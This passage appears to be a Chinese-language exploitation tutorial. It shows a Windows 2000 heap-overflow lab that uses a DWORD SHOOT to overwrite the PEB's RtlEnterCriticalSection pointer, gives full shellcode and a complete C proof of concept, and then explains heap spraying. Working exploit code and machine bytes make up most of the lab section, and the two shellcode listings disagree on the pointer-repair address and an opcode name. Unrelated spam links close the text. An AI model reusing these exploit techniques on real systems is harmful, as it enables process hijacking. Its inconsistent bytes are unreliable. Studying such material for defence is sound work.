  5. 函数指针:系统有时会使用一些函数指针,比如调用动态链接库中的函数、C++中的虚函数调用等。改写这些函数指针后,在函数调用发生后往往可以成功地劫持进程

  6. P.E.B 中线程同步函数的入口地址:在每个进程的 P.E.B 中都存放着一对同步函数指针,指向 RtlEnterCriticalSection()和 RtlLeaveCriticalSection(),并且在进程退出时会被 ExitProcess()调用。如果能够通过 DWORD SHOOT 修改这对指针中的其中一个,那么在程序退出时 ExitProcess()将会被骗去调用我们的 shellcode。

    由于 P.E.B 的位置始终不会变化, 这对指针在 P.E.B 中的偏移也始终不变,这使得利用堆溢出开发适用于不同操作系统版本和补 丁版本的 exploit 成为可能


狙击 P.E.B 中 RtlEnterCritical-Section()的函数指针

​ Windows 为了同步进程下的多个线程,使用了一些同步措施,如锁机制(lock)、信号量 (semaphore)、临界区(critical section)等。许多操作都要用到这些同步机制。 当进程退出时,ExitProcess()函数要做很多善后工作,其中必然需要用到临界区函数 RtlEnterCriticalSection()和 RtlLeaveCriticalSection()来同步线程防止“脏数据”的产生。

ExitProcess()函数调用临界区函数的方法:通过进程环境块 P.E.B 中偏移 0x20 处存放的函数指针来间接完成。即在 0x7FFDF020 处存放着指向 RtlEnterCriticalSection()的指针,在 0x7FFDF024 处存放着指向 RtlLeaveCriticalSection()的指针。

注意:从 Windows 2003 Server 开始,微软已经修改了这里的实现。

实验环境

环境 环境设置
操作系统 Windows 2000
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)

实验思路

  1. h1 向堆中申请 200 字节的空间。调用memcpy写入512 字节造成溢出。在h1分配完之后,后边紧接着的是一个大空闲块(尾块)。超过 200 字节的数据将覆盖尾块的块首。
  2. 用伪造的指针覆盖尾块块首中的空表指针,当 h2 分配时,将导致 DWORD SHOOT。DWORD SHOOT 的目标是 0x7FFDF020 处的 RtlEnterCriticalSection()函数指针,简单地将其直接修改为 shellcode 的位置。
  3. DWORD SHOOT 完毕后,堆溢出导致异常,最终将调用 ExitProcess()结束进程。
  4. ExitProcess()在结束进程时需要调用临界区函数来同步线程,但却从 P.E.B 中拿出了指 向 shellcode 的指针,因此 shellcode 被执行。

实验过程

  1. 直接运行.exe 文件,在断点将进程中断时,再把调试器 attach 上

  2. 构造shellcode,前168字节为弹出对话框的机器码,后面不足200字节的使用0x90填充

    201-208字节处为 8 字节的块首信息。为了防止在DWORD SHOOT发生之前产生异常,直接将块首从内存中复制使用:“\x16\x01\x1A\x00\x00\x10\x00\x00”

    前向指针使用 shellcode 的起始地址 0x00520688。

    后向指针使用0x7FFDF020(PEB的RtlEnterCriticalSection()函数指针)

  3. 注意:被修改的 P.E.B 里的函数指针不光会被ExitProcess()调用,shellcode 中的函数也会使用。 当 shellcode 的函数使用临界区时,会像 ExitProcess()一样被骗。 所以对 shellcode 稍加修改,在一开始就把 DWORD SHOOT 的指针修复回去

    经过调试,发现0x7FFDF020 处的函数指针为 0x77F82060,使用以下三条指令修复:

    指令 机器码
    MAV EAX,7FFDF020 "\xD8\x20\xF0\xFD\x7F"
    MOV EBX,77F8AA4C "\xBB\x60\x20\xF8\x77"
    MOV [EAX],EBX "\x89\x18"
  4. shellcode如下:

    char shellcode[]= 
    "\x90\x90\x90\x90\x90\x90\x90\x90" 
    "\x90\x90\x90\x90"
        
    //repaire the pointer which shooted by heap over run 
    "\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020 
    "\xBB\x4C\xAA\xF8\x77" //MOV EBX,77F8AA4C the address may releated to your OS 
    "\x89\x18"//MOV DWORD PTR DS:[EAX],EBX 
        
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" 
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" 
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" 
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" 
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" 
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" 
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" 
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" 
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" 
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" 
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" 
    "\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block 
    "\x88\x06\x52\x00\x20\xf0\xfd\x7f";
    
  5. 整体代码如下:

    #include <windows.h>
    char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
        
    //repaire the pointer which shooted by heap over run
    "\xB8\x20\xF0\xFD\x7F"  //MOV EAX,7FFDF020
    "\xBB\x60\x20\xF8\x77"  //MOV EBX,77F82060 the address here may releated to your OS
    "\x89\x18"				//MOV DWORD PTR DS:[EAX],EBX
        
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
    "\x88\x06\x52\x00\x20\xf0\xfd\x7f";
    //0x00520688 is the address of shellcode in first heap block, you have to make sure this address via debug 
    //0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
    //and will be called by ExitProcess() at last
    
    
    int main()
    {
    	HLOCAL h1 = 0, h2 = 0;
    	HANDLE hp;
    	hp = HeapCreate(0,0x1000,0x10000);
    	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
    	//__asm int 3 //used to break the process
    	//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
    	memcpy(h1,shellcode,0x200); //overflow,0x200=512
    	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    	return 0;
    }
    
  6. 直接运行程序,显示弹出对话框

  7. 加入int 3断点进入OllyDbg查看DWORD SHOOT过程,堆溢出后堆块情况如下

  8. 单步运行程序到卸下堆结点的代码处,可以发现shellcode起始地址已被写入eax中,0x7FFDF020地址被写入ecx中,即将把shellcode起始地址放入0x7FFDF020指向的位置处

  9. 继续运行,此时0x7FFDF020地址处的数据已被替换为shellcode起始地址

2.6.2 Heap Spray(待完成)

1. 漏洞成因

​ Heap Spray,又称堆喷,与典型能够实施精准攻击的堆漏洞不同,堆喷是一种比较暴力且相对不稳定的攻击手法,并且该手法常常被用来针对浏览器。其产生的原因主要是应用程序在堆分配空间时没有过多的约束,使得攻击者能够多次申请堆块占据大部分内存,再通过地毯式的覆盖,最终劫持程序控制流导致恶意代码被执行。

​ 在栈溢出的利用方式中,劫持程序控制流后往往会将EIP修改为shellcode布置的地址,而为了提高shellcode成功执行的几率,往往会在前方加一小段不影响shellcode执行的滑梯指令(slide code),常用的滑梯指令有nop指令(0x90)及or al指令(0x0c0c)。而随着操作系统安全性的提升,尤其是地址随机化的诞生,使得普通的溢出漏洞难以再掀起波澜。于是研究者们发明了堆喷这一种攻击手法作为辅助攻击的方式。

2. 利用方式

​ 该攻击手法的前提条件为已经可以修改EIP寄存器的值为0x0c0c0c0c。每次申请1M的内存空间,利用多个0x0c指令与shellcode相结合用来填充该空间,一般来说shellcode只占几十字节,相对的滑梯指令占了接近1M,导致滑梯指令的大小远远大于shellcode大小。通过多次申请1M的空间来将进程空间中的0x0c0c0c0c地址覆盖。因为有远大于shellcode的滑梯指令的存在,该地址上的值有99%以上的几率被覆盖为0x0c0c0c0c,从而执行到shellcode。由于堆分配是从低地址向高地址分配,因此一般申请200M(0x0c800000)的堆块就能够覆盖到0x0c0c0c0c的地址。

​ 该利用方式中之所以不采用0x90作为滑梯指令,主要是因为内存空间中存放了许多对象的虚函数指针,当将这些虚函数指针覆盖到0x90909090后,在调用该函数就会导致程序崩溃,该阶段操作系统分配给用户使用的内存为前2G,即0x00000000 - 0x7FFFFFFF,其中进程仅能访问0x00010000 – 0x7FFEFFFF,从0x80000000 – 0xffffffff的后2G内存被设计来只有内核能够访问。而覆盖为0x0c0c0c0c时,0x0c0c0c0c地址有很大几率已经被我们用滑梯指令所覆盖,从而直接执行shellcode。因此,若虚函数指针被覆盖为0x90909090为内核空间,不能被进程所访问,采用0x0c作为滑梯指令一举两得。

​ 该利用方式由于会很暴力地申请多次内存,并将构造好的大量滑梯指令及小部分的shellcode像井喷一样“喷”满内存各处,因此又被很形象地命名为“堆喷”。

热门相关:史上第一宠婚:慕少的娇妻   年轻妈妈的性爱   谋杀穆巴拉克   三个女人的秘密工作生活   龙谷